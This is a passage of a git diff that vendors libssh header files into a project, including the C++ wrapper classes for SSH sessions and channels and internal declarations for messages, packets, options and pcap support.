without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _LIBSSH_VERSION_H +#define _LIBSSH_VERSION_H + +/* libssh version macros */ +#define SSH_VERSION_INT(a, b, c) ((a) << 16 | (b) << 8 | (c)) +#define SSH_VERSION_DOT(a, b, c) a ##.## b ##.## c +#define SSH_VERSION(a, b, c) SSH_VERSION_DOT(a, b, c) + +/* libssh version */ +#define LIBSSH_VERSION_MAJOR @libssh_VERSION_MAJOR@ +#define LIBSSH_VERSION_MINOR @libssh_VERSION_MINOR@ +#define LIBSSH_VERSION_MICRO @libssh_VERSION_PATCH@ + +#define LIBSSH_VERSION_INT SSH_VERSION_INT(LIBSSH_VERSION_MAJOR, \ + LIBSSH_VERSION_MINOR, \ + LIBSSH_VERSION_MICRO) +#define LIBSSH_VERSION SSH_VERSION(LIBSSH_VERSION_MAJOR, \ + LIBSSH_VERSION_MINOR, \ + LIBSSH_VERSION_MICRO) + +#endif /* _LIBSSH_VERSION_H */ diff --git a/vendor/libssh/include/libssh/libsshpp.hpp b/vendor/libssh/include/libssh/libsshpp.hpp new file mode 100644 index 0000000..602c7ae --- /dev/null +++ b/vendor/libssh/include/libssh/libsshpp.hpp @@ -0,0 +1,681 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef LIBSSHPP_HPP_ +#define LIBSSHPP_HPP_ + +/** + * @defgroup ssh_cpp The libssh C++ wrapper + * + * The C++ bindings for libssh are completely embedded in a single .hpp file, and + * this for two reasons: + * - C++ is hard to keep binary compatible, C is easy. We try to keep libssh C version + * as much as possible binary compatible between releases, while this would be hard for + * C++. If you compile your program with these headers, you will only link to the C version + * of libssh which will be kept ABI compatible. No need to recompile your C++ program + * each time a new binary-compatible version of libssh is out + * - Most of the functions in this file are really short and are probably worth the "inline" + * linking mode, which the compiler can decide to do in some case. There would be nearly no + * performance penalty of using the wrapper rather than native calls. + * + * Please visit the documentation of ssh::Session and ssh::Channel + * @see ssh::Session + * @see ssh::Channel + * + * If you wish not to use C++ exceptions, please define SSH_NO_CPP_EXCEPTIONS: + * @code + * #define SSH_NO_CPP_EXCEPTIONS + * #include + * @endcode + * All functions will then return SSH_ERROR in case of error. + * @{ + */ + +/* do not use deprecated functions */ +#define LIBSSH_LEGACY_0_4 + +#include +#include +#include +#include +#include +#include + +namespace ssh { + +class Channel; +/** Some people do not like C++ exceptions. With this define, we give + * the choice to use or not exceptions. + * @brief if defined, disable C++ exceptions for libssh c++ wrapper + */ +#ifndef SSH_NO_CPP_EXCEPTIONS + +/** @brief This class describes a SSH Exception object. This object can be thrown + * by several SSH functions that interact with the network, and may fail because of + * socket, protocol or memory errors. + */ +class SshException{ +public: + SshException(ssh_session csession){ + code=ssh_get_error_code(csession); + description=std::string(ssh_get_error(csession)); + } + SshException(const SshException &e){ + code=e.code; + description=e.description; + } + /** @brief returns the Error code + * @returns SSH_FATAL Fatal error happened (not recoverable) + * @returns SSH_REQUEST_DENIED Request was denied by remote host + * @see ssh_get_error_code + */ + int getCode(){ + return code; + } + /** @brief returns the error message of the last exception + * @returns pointer to a c string containing the description of error + * @see ssh_get_error + */ + std::string getError(){ + return description; + } +private: + int code; + std::string description; +}; + +/** @internal + * @brief Macro to throw exception if there was an error + */ +#define ssh_throw(x) if((x)==SSH_ERROR) throw SshException(getCSession()) +#define ssh_throw_null(CSession,x) if((x)==NULL) throw SshException(CSession) +#define void_throwable void +#define return_throwable return + +#else + +/* No exception at all. All functions will return an error code instead + * of an exception + */ +#define ssh_throw(x) if((x)==SSH_ERROR) return SSH_ERROR +#define ssh_throw_null(CSession,x) if((x)==NULL) return NULL +#define void_throwable int +#define return_throwable return SSH_OK +#endif + +/** + * The ssh::Session class contains the state of a SSH connection. + */ +class Session { + friend class Channel; +public: + Session(){ + c_session=ssh_new(); + } + ~Session(){ + ssh_free(c_session); + c_session=NULL; + } + /** @brief sets an SSH session options + * @param type Type of option + * @param option cstring containing the value of option + * @throws SshException on error + * @see ssh_options_set + */ + void_throwable setOption(enum ssh_options_e type, const char *option){ + ssh_throw(ssh_options_set(c_session,type,option)); + return_throwable; + } + /** @brief sets an SSH session options + * @param type Type of option + * @param option long integer containing the value of option + * @throws SshException on error + * @see ssh_options_set + */ + void_throwable setOption(enum ssh_options_e type, long int option){ + ssh_throw(ssh_options_set(c_session,type,&option)); + return_throwable; + } + /** @brief sets an SSH session options + * @param type Type of option + * @param option void pointer containing the value of option + * @throws SshException on error + * @see ssh_options_set + */ + void_throwable setOption(enum ssh_options_e type, void *option){ + ssh_throw(ssh_options_set(c_session,type,option)); + return_throwable; + } + /** @brief connects to the remote host + * @throws SshException on error + * @see ssh_connect + */ + void_throwable connect(){ + int ret=ssh_connect(c_session); + ssh_throw(ret); + return_throwable; + } + /** @brief Authenticates automatically using public key + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED + * @see ssh_userauth_autopubkey + */ + int userauthPublickeyAuto(void){ + int ret=ssh_userauth_publickey_auto(c_session, NULL, NULL); + ssh_throw(ret); + return ret; + } + /** @brief Authenticates using the "none" method. Prefer using autopubkey if + * possible. + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED + * @see ssh_userauth_none + * @see Session::userauthAutoPubkey + */ + int userauthNone(){ + int ret=ssh_userauth_none(c_session,NULL); + ssh_throw(ret); + return ret; + } + + /** + * @brief Authenticate through the "keyboard-interactive" method. + * + * @param[in] username The username to authenticate. You can specify NULL if + * ssh_option_set_username() has been used. You cannot + * try two different logins in a row. + * + * @param[in] submethods Undocumented. Set it to NULL. + * + * @throws SshException on error + * + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED, + * SSH_AUTH_ERROR, SSH_AUTH_INFO, SSH_AUTH_AGAIN + * + * @see ssh_userauth_kbdint + */ + int userauthKbdint(const char* username, const char* submethods){ + int ret = ssh_userauth_kbdint(c_session, username, submethods); + ssh_throw(ret); + return ret; + } + + /** @brief Get the number of prompts (questions) the server has given. + * @returns The number of prompts. + * @see ssh_userauth_kbdint_getnprompts + */ + int userauthKbdintGetNPrompts(){ + return ssh_userauth_kbdint_getnprompts(c_session); + } + + /** + * @brief Set the answer for a question from a message block. + * + * @param[in] index The index number of the prompt. + * @param[in] answer The answer to give to the server. The answer MUST be + * encoded UTF-8. It is up to the server how to interpret + * the value and validate it. However, if you read the + * answer in some other encoding, you MUST convert it to + * UTF-8. + * + * @throws SshException on error + * + * @returns 0 on success, < 0 on error + * + * @see ssh_userauth_kbdint_setanswer + */ + int userauthKbdintSetAnswer(unsigned int index, const char *answer) + { + int ret = ssh_userauth_kbdint_setanswer(c_session, index, answer); + ssh_throw(ret); + return ret; + } + + + + /** @brief Authenticates using the password method. + * @param[in] password password to use for authentication + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED + * @see ssh_userauth_password + */ + int userauthPassword(const char *password){ + int ret=ssh_userauth_password(c_session,NULL,password); + ssh_throw(ret); + return ret; + } + /** @brief Try to authenticate using the publickey method. + * @param[in] pubkey public key to use for authentication + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS if the pubkey is accepted, + * @returns SSH_AUTH_DENIED if the pubkey is denied + * @see ssh_userauth_try_pubkey + */ + int userauthTryPublickey(ssh_key pubkey){ + int ret=ssh_userauth_try_publickey(c_session, NULL, pubkey); + ssh_throw(ret); + return ret; + } + /** @brief Authenticates using the publickey method. + * @param[in] privkey private key to use for authentication + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED + * @see ssh_userauth_pubkey + */ + int userauthPublickey(ssh_key privkey){ + int ret=ssh_userauth_publickey(c_session, NULL, privkey); + ssh_throw(ret); + return ret; + } + + /** @brief Returns the available authentication methods from the server + * @throws SshException on error + * @returns Bitfield of available methods. + * @see ssh_userauth_list + */ + int getAuthList(){ + int ret=ssh_userauth_list(c_session, NULL); + ssh_throw(ret); + return ret; + } + /** @brief Disconnects from the SSH server and closes connection + * @see ssh_disconnect + */ + void disconnect(){ + ssh_disconnect(c_session); + } + /** @brief Returns the disconnect message from the server, if any + * @returns pointer to the message, or NULL. Do not attempt to free + * the pointer. + */ + const char *getDisconnectMessage(){ + const char *msg=ssh_get_disconnect_message(c_session); + return msg; + } + /** @internal + * @brief gets error message + */ + const char *getError(){ + return ssh_get_error(c_session); + } + /** @internal + * @brief returns error code + */ + int getErrorCode(){ + return ssh_get_error_code(c_session); + } + /** @brief returns the file descriptor used for the communication + * @returns the file descriptor + * @warning if a proxycommand is used, this function will only return + * one of the two file descriptors being used + * @see ssh_get_fd + */ + socket_t getSocket(){ + return ssh_get_fd(c_session); + } + /** @brief gets the Issue banner from the ssh server + * @returns the issue banner. This is generally a MOTD from server + * @see ssh_get_issue_banner + */ + std::string getIssueBanner(){ + char *banner = ssh_get_issue_banner(c_session); + std::string ret = ""; + if (banner != NULL) { + ret = std::string(banner); + ::free(banner); + } + return ret; + } + /** @brief returns the OpenSSH version (server) if possible + * @returns openssh version code + * @see ssh_get_openssh_version + */ + int getOpensshVersion(){ + return ssh_get_openssh_version(c_session); + } + /** @brief returns the version of the SSH protocol being used + * @returns the SSH protocol version + * @see ssh_get_version + */ + int getVersion(){ + return ssh_get_version(c_session); + } + /** @brief verifies that the server is known + * @throws SshException on error + * @returns Integer value depending on the knowledge of the + * server key + * @see ssh_session_update_known_hosts + */ + int isServerKnown(){ + int state = ssh_session_is_known_server(c_session); + ssh_throw(state); + return state; + } + void log(int priority, const char *format, ...){ + va_list va; + + va_start(va, format); + ssh_vlog(priority, "libsshpp", format, &va); + va_end(va); + } + + /** @brief copies options from a session to another + * @throws SshException on error + * @see ssh_options_copy + */ + void_throwable optionsCopy(const Session &source){ + ssh_throw(ssh_options_copy(source.c_session,&c_session)); + return_throwable; + } + /** @brief parses a configuration file for options + * @throws SshException on error + * @param[in] file configuration file name + * @see ssh_options_parse_config + */ + void_throwable optionsParseConfig(const char *file){ + ssh_throw(ssh_options_parse_config(c_session,file)); + return_throwable; + } + /** @brief silently disconnect from remote host + * @see ssh_silent_disconnect + */ + void silentDisconnect(){ + ssh_silent_disconnect(c_session); + } + /** @brief Writes the known host file with current + * host key + * @throws SshException on error + * @see ssh_write_knownhost + */ + int writeKnownhost(){ + int ret = ssh_session_update_known_hosts(c_session); + ssh_throw(ret); + return ret; + } + + /** @brief accept an incoming forward connection + * @param[in] timeout_ms timeout for waiting, in ms + * @returns new Channel pointer on the forward connection + * @returns NULL in case of error + * @warning you have to delete this pointer after use + * @see ssh_channel_forward_accept + * @see Session::listenForward + */ + inline Channel *acceptForward(int timeout_ms); + /* implemented outside the class due Channel references */ + + void_throwable cancelForward(const char *address, int port){ + int err=ssh_channel_cancel_forward(c_session, address, port); + ssh_throw(err); + return_throwable; + } + + void_throwable listenForward(const char *address, int port, + int &boundport){ + int err=ssh_channel_listen_forward(c_session, address, port, &boundport); + ssh_throw(err); + return_throwable; + } + + ssh_session getCSession(){ + return c_session; + } + +protected: + ssh_session c_session; + +private: + /* No copy constructor, no = operator */ + Session(const Session &); + Session& operator=(const Session &); +}; + +/** @brief the ssh::Channel class describes the state of an SSH + * channel. + * @see ssh_channel + */ +class Channel { + friend class Session; +public: + Channel(Session &ssh_session){ + channel = ssh_channel_new(ssh_session.getCSession()); + this->session = &ssh_session; + } + ~Channel(){ + ssh_channel_free(channel); + channel=NULL; + } + + /** @brief accept an incoming X11 connection + * @param[in] timeout_ms timeout for waiting, in ms + * @returns new Channel pointer on the X11 connection + * @returns NULL in case of error + * @warning you have to delete this pointer after use + * @see ssh_channel_accept_x11 + * @see Channel::requestX11 + */ + Channel *acceptX11(int timeout_ms){ + ssh_channel x11chan = ssh_channel_accept_x11(channel,timeout_ms); + ssh_throw_null(getCSession(),x11chan); + Channel *newchan = new Channel(getSession(),x11chan); + return newchan; + } + /** @brief change the size of a pseudoterminal + * @param[in] cols number of columns + * @param[in] rows number of rows + * @throws SshException on error + * @see ssh_channel_change_pty_size + */ + void_throwable changePtySize(int cols, int rows){ + int err=ssh_channel_change_pty_size(channel,cols,rows); + ssh_throw(err); + return_throwable; + } + + /** @brief closes a channel + * @throws SshException on error + * @see ssh_channel_close + */ + void_throwable close(){ + ssh_throw(ssh_channel_close(channel)); + return_throwable; + } + + int getExitStatus(){ + return ssh_channel_get_exit_status(channel); + } + Session &getSession(){ + return *session; + } + /** @brief returns true if channel is in closed state + * @see ssh_channel_is_closed + */ + bool isClosed(){ + return ssh_channel_is_closed(channel) != 0; + } + /** @brief returns true if channel is in EOF state + * @see ssh_channel_is_eof + */ + bool isEof(){ + return ssh_channel_is_eof(channel) != 0; + } + /** @brief returns true if channel is in open state + * @see ssh_channel_is_open + */ + bool isOpen(){ + return ssh_channel_is_open(channel) != 0; + } + int openForward(const char *remotehost, int remoteport, + const char *sourcehost, int localport=0){ + int err=ssh_channel_open_forward(channel,remotehost,remoteport, + sourcehost, localport); + ssh_throw(err); + return err; + } + /* TODO: completely remove this ? */ + void_throwable openSession(){ + int err=ssh_channel_open_session(channel); + ssh_throw(err); + return_throwable; + } + int poll(bool is_stderr=false){ + int err=ssh_channel_poll(channel,is_stderr); + ssh_throw(err); + return err; + } + int read(void *dest, size_t count){ + int err; + /* handle int overflow */ + if(count > 0x7fffffff) + count = 0x7fffffff; + err=ssh_channel_read_timeout(channel,dest,count,false,-1); + ssh_throw(err); + return err; + } + int read(void *dest, size_t count, int timeout){ + int err; + /* handle int overflow */ + if(count > 0x7fffffff) + count = 0x7fffffff; + err=ssh_channel_read_timeout(channel,dest,count,false,timeout); + ssh_throw(err); + return err; + } + int read(void *dest, size_t count, bool is_stderr=false, int timeout=-1){ + int err; + /* handle int overflow */ + if(count > 0x7fffffff) + count = 0x7fffffff; + err=ssh_channel_read_timeout(channel,dest,count,is_stderr,timeout); + ssh_throw(err); + return err; + } + int readNonblocking(void *dest, size_t count, bool is_stderr=false){ + int err; + /* handle int overflow */ + if(count > 0x7fffffff) + count = 0x7fffffff; + err=ssh_channel_read_nonblocking(channel,dest,count,is_stderr); + ssh_throw(err); + return err; + } + void_throwable requestEnv(const char *name, const char *value){ + int err=ssh_channel_request_env(channel,name,value); + ssh_throw(err); + return_throwable; + } + + void_throwable requestExec(const char *cmd){ + int err=ssh_channel_request_exec(channel,cmd); + ssh_throw(err); + return_throwable; + } + void_throwable requestPty(const char *term=NULL, int cols=0, int rows=0){ + int err; + if(term != NULL && cols != 0 && rows != 0) + err=ssh_channel_request_pty_size(channel,term,cols,rows); + else + err=ssh_channel_request_pty(channel); + ssh_throw(err); + return_throwable; + } + + void_throwable requestShell(){ + int err=ssh_channel_request_shell(channel); + ssh_throw(err); + return_throwable; + } + void_throwable requestSendSignal(const char *signum){ + int err=ssh_channel_request_send_signal(channel, signum); + ssh_throw(err); + return_throwable; + } + void_throwable requestSubsystem(const char *subsystem){ + int err=ssh_channel_request_subsystem(channel,subsystem); + ssh_throw(err); + return_throwable; + } + int requestX11(bool single_connection, + const char *protocol, const char *cookie, int screen_number){ + int err=ssh_channel_request_x11(channel,single_connection, + protocol, cookie, screen_number); + ssh_throw(err); + return err; + } + void_throwable sendEof(){ + int err=ssh_channel_send_eof(channel); + ssh_throw(err); + return_throwable; + } + /** @brief Writes on a channel + * @param data data to write. + * @param len number of bytes to write. + * @param is_stderr write should be done on the stderr channel (server only) + * @returns number of bytes written + * @throws SshException in case of error + * @see ssh_channel_write + * @see ssh_channel_write_stderr + */ + int write(const void *data, size_t len, bool is_stderr=false){ + int ret; + if(is_stderr){ + ret=ssh_channel_write_stderr(channel,data,len); + } else { + ret=ssh_channel_write(channel,data,len); + } + ssh_throw(ret); + return ret; + } + + ssh_session getCSession(){ + return session->getCSession(); + } + + ssh_channel getCChannel() { + return channel; + } + +protected: + Session *session; + ssh_channel channel; + +private: + Channel (Session &ssh_session, ssh_channel c_channel){ + this->channel=c_channel; + this->session = &ssh_session; + } + /* No copy and no = operator */ + Channel(const Channel &); + Channel &operator=(const Channel &); +}; + + +inline Channel *Session::acceptForward(int timeout_ms){ + ssh_channel forward = + ssh_channel_open_forward_port(c_session, timeout_ms, NULL, NULL, NULL); + ssh_throw_null(c_session,forward); + Channel *newchan = new Channel(*this,forward); + return newchan; + } + +} // namespace ssh + +/** @} */ +#endif /* LIBSSHPP_HPP_ */ diff --git a/vendor/libssh/include/libssh/messages.h b/vendor/libssh/include/libssh/messages.h new file mode 100644 index 0000000..160306c --- /dev/null +++ b/vendor/libssh/include/libssh/messages.h @@ -0,0 +1,115 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef MESSAGES_H_ +#define MESSAGES_H_ + +#include "config.h" + +struct ssh_auth_request { + char *username; + int method; + char *password; + struct ssh_key_struct *pubkey; + char *sigtype; + enum ssh_publickey_state_e signature_state; + char kbdint_response; +}; + +struct ssh_channel_request_open { + int type; + uint32_t sender; + uint32_t window; + uint32_t packet_size; + char *originator; + uint16_t originator_port; + char *destination; + uint16_t destination_port; +}; + +struct ssh_service_request { + char *service; +}; + +struct ssh_global_request { + int type; + uint8_t want_reply; + char *bind_address; + uint16_t bind_port; +}; + +struct ssh_channel_request { + int type; + ssh_channel channel; + uint8_t want_reply; + /* pty-req type specifics */ + char *TERM; + uint32_t width; + uint32_t height; + uint32_t pxwidth; + uint32_t pxheight; + ssh_string modes; + + /* env type request */ + char *var_name; + char *var_value; + /* exec type request */ + char *command; + /* subsystem */ + char *subsystem; + + /* X11 */ + uint8_t x11_single_connection; + char *x11_auth_protocol; + char *x11_auth_cookie; + uint32_t x11_screen_number; +}; + +struct ssh_message_struct { + ssh_session session; + int type; + struct ssh_auth_request auth_request; + struct ssh_channel_request_open channel_request_open; + struct ssh_channel_request channel_request; + struct ssh_service_request service_request; + struct ssh_global_request global_request; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +SSH_PACKET_CALLBACK(ssh_packet_channel_open); +SSH_PACKET_CALLBACK(ssh_packet_global_request); + +#ifdef WITH_SERVER +SSH_PACKET_CALLBACK(ssh_packet_service_request); +SSH_PACKET_CALLBACK(ssh_packet_userauth_request); +#endif /* WITH_SERVER */ + +int ssh_message_handle_channel_request(ssh_session session, ssh_channel channel, ssh_buffer packet, + const char *request, uint8_t want_reply); +ssh_message ssh_message_pop_head(ssh_session session); + +#ifdef __cplusplus +} +#endif + +#endif /* MESSAGES_H_ */ diff --git a/vendor/libssh/include/libssh/misc.h b/vendor/libssh/include/libssh/misc.h new file mode 100644 index 0000000..0924ba7 --- /dev/null +++ b/vendor/libssh/include/libssh/misc.h @@ -0,0 +1,113 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef MISC_H_ +#define MISC_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +/* in misc.c */ +/* gets the user home dir. */ +char *ssh_get_user_home_dir(void); +char *ssh_get_local_username(void); +int ssh_file_readaccess_ok(const char *file); +int ssh_dir_writeable(const char *path); + +char *ssh_path_expand_tilde(const char *d); +char *ssh_path_expand_escape(ssh_session session, const char *s); +int ssh_analyze_banner(ssh_session session, int server); +int ssh_is_ipaddr_v4(const char *str); +int ssh_is_ipaddr(const char *str); + +/* list processing */ + +struct ssh_list { + struct ssh_iterator *root; + struct ssh_iterator *end; +}; + +struct ssh_iterator { + struct ssh_iterator *next; + const void *data; +}; + +struct ssh_timestamp { + long seconds; + long useconds; +}; + +enum ssh_quote_state_e { + NO_QUOTE, + SINGLE_QUOTE, + DOUBLE_QUOTE +}; + +struct ssh_list *ssh_list_new(void); +void ssh_list_free(struct ssh_list *list); +struct ssh_iterator *ssh_list_get_iterator(const struct ssh_list *list); +struct ssh_iterator *ssh_list_find(const struct ssh_list *list, void *value); +size_t ssh_list_count(const struct ssh_list *list); +int ssh_list_append(struct ssh_list *list, const void *data); +int ssh_list_prepend(struct ssh_list *list, const void *data); +void ssh_list_remove(struct ssh_list *list, struct ssh_iterator *iterator); +char *ssh_lowercase(const char* str); +char *ssh_hostport(const char *host, int port); + +const void *_ssh_list_pop_head(struct ssh_list *list); + +#define ssh_iterator_value(type, iterator)\ + ((type)((iterator)->data)) + +/** @brief fetch the head element of a list and remove it from list + * @param type type of the element to return + * @param ssh_list the ssh_list to use + * @return the first element of the list, or NULL if the list is empty + */ +#define ssh_list_pop_head(type, ssh_list)\ + ((type)_ssh_list_pop_head(ssh_list)) + +int ssh_make_milliseconds(unsigned long sec, unsigned long usec); +void ssh_timestamp_init(struct ssh_timestamp *ts); +int ssh_timeout_elapsed(struct ssh_timestamp *ts, int timeout); +int ssh_timeout_update(struct ssh_timestamp *ts, int timeout); + +int ssh_match_group(const char *group, const char *object); + +void uint64_inc(unsigned char *counter); + +void ssh_log_hexdump(const char *descr, const unsigned char *what, size_t len); + +int ssh_mkdirs(const char *pathname, mode_t mode); + +int ssh_quote_file_name(const char *file_name, char *buf, size_t buf_len); +int ssh_newline_vis(const char *string, char *buf, size_t buf_len); +int ssh_tmpname(char *name); + +char *ssh_strreplace(const char *src, const char *pattern, const char *repl); + +int ssh_check_hostname_syntax(const char *hostname); + +#ifdef __cplusplus +} +#endif + +#endif /* MISC_H_ */ diff --git a/vendor/libssh/include/libssh/options.h b/vendor/libssh/include/libssh/options.h new file mode 100644 index 0000000..35b3ffb --- /dev/null +++ b/vendor/libssh/include/libssh/options.h @@ -0,0 +1,39 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2011 Andreas Schneider + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _OPTIONS_H +#define _OPTIONS_H + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_config_parse_file(ssh_session session, const char *filename); +int ssh_config_parse_string(ssh_session session, const char *input); +int ssh_options_set_algo(ssh_session session, + enum ssh_kex_types_e algo, + const char *list); +int ssh_options_apply(ssh_session session); + +#ifdef __cplusplus +} +#endif + +#endif /* _OPTIONS_H */ diff --git a/vendor/libssh/include/libssh/packet.h b/vendor/libssh/include/libssh/packet.h new file mode 100644 index 0000000..f0c8cb2 --- /dev/null +++ b/vendor/libssh/include/libssh/packet.h @@ -0,0 +1,100 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef PACKET_H_ +#define PACKET_H_ + +#include "libssh/wrapper.h" + +struct ssh_socket_struct; + +/* this structure should go someday */ +typedef struct packet_struct { + int valid; + uint32_t len; + uint8_t type; +} PACKET; + +/** different state of packet reading. */ +enum ssh_packet_state_e { + /** Packet not initialized, must read the size of packet */ + PACKET_STATE_INIT, + /** Size was read, waiting for the rest of data */ + PACKET_STATE_SIZEREAD, + /** Full packet was read and callbacks are being called. Future packets + * should wait for the end of the callback. */ + PACKET_STATE_PROCESSING +}; + +enum ssh_packet_filter_result_e { + SSH_PACKET_UNKNOWN, + SSH_PACKET_ALLOWED, + SSH_PACKET_DENIED +}; + +int ssh_packet_send(ssh_session session); + +#ifdef __cplusplus +extern "C" { +#endif + +SSH_PACKET_CALLBACK(ssh_packet_unimplemented); +SSH_PACKET_CALLBACK(ssh_packet_disconnect_callback); +SSH_PACKET_CALLBACK(ssh_packet_ignore_callback); +SSH_PACKET_CALLBACK(ssh_packet_dh_reply); +SSH_PACKET_CALLBACK(ssh_packet_newkeys); +SSH_PACKET_CALLBACK(ssh_packet_service_accept); +SSH_PACKET_CALLBACK(ssh_packet_ext_info); + +#ifdef WITH_SERVER +SSH_PACKET_CALLBACK(ssh_packet_kexdh_init); +#endif + +int ssh_packet_send_newkeys(ssh_session session); +int ssh_packet_send_unimplemented(ssh_session session, uint32_t seqnum); +int ssh_packet_parse_type(ssh_session session); +//int packet_flush(ssh_session session, int enforce_blocking); + +size_t ssh_packet_socket_callback(const void *data, size_t len, void *user); +void ssh_packet_register_socket_callback(ssh_session session, struct ssh_socket_struct *s); +void ssh_packet_set_callbacks(ssh_session session, ssh_packet_callbacks callbacks); +void ssh_packet_remove_callbacks(ssh_session session, ssh_packet_callbacks callbacks); +void ssh_packet_set_default_callbacks(ssh_session session); +void ssh_packet_process(ssh_session session, uint8_t type); + +/* PACKET CRYPT */ +uint32_t ssh_packet_decrypt_len(ssh_session session, uint8_t *destination, uint8_t *source); +int ssh_packet_decrypt(ssh_session session, uint8_t *destination, uint8_t *source, + size_t start, size_t encrypted_size); +unsigned char *ssh_packet_encrypt(ssh_session session, + void *packet, + size_t len); +int ssh_packet_hmac_verify(ssh_session session, const void *data, size_t len, + unsigned char *mac, enum ssh_hmac_e type); +int ssh_packet_set_newkeys(ssh_session session, + enum ssh_crypto_direction_e direction); +struct ssh_crypto_struct *ssh_packet_get_current_crypto(ssh_session session, + enum ssh_crypto_direction_e direction); + +#ifdef __cplusplus +} +#endif + +#endif /* PACKET_H_ */ diff --git a/vendor/libssh/include/libssh/pcap.h b/vendor/libssh/include/libssh/pcap.h new file mode 100644 index 0000000..2a6c3c2 --- /dev/null +++ b/vendor/libssh/include/libssh/pcap.h @@ -0,0 +1,53 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef PCAP_H_ +#define PCAP_H_ + +#include "config.h" +#include "libssh/libssh.h" + +#ifdef WITH_PCAP +typedef struct ssh_pcap_context_struct* ssh_pcap_context; + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_pcap_file_write_packet(ssh_pcap_file pcap, ssh_buffer packet, uint32_t original_len); + +ssh_pcap_context ssh_pcap_context_new(ssh_session session); +void ssh_pcap_context_free(ssh_pcap_context ctx); + +enum ssh_pcap_direction{ + SSH_PCAP_DIR_IN, + SSH_PCAP_DIR_OUT +}; +void ssh_pcap_context_set_file(ssh_pcap_context, ssh_pcap_file); +int ssh_pcap_context_write(ssh_pcap_context,enum ssh_pcap_direction direction, void *data, + uint32_t len, uint32_t origlen); + + +#ifdef __cplusplus +} +#endif + +#endif /* WITH_PCAP */ +#endif /* PCAP_H_ */ diff --git a/vendor/libssh/include/libssh/pki.h b/vendor/libssh/include/libssh/pki.h new file mode 100644 index 0000000..879a1d5 --- /dev/null +++ 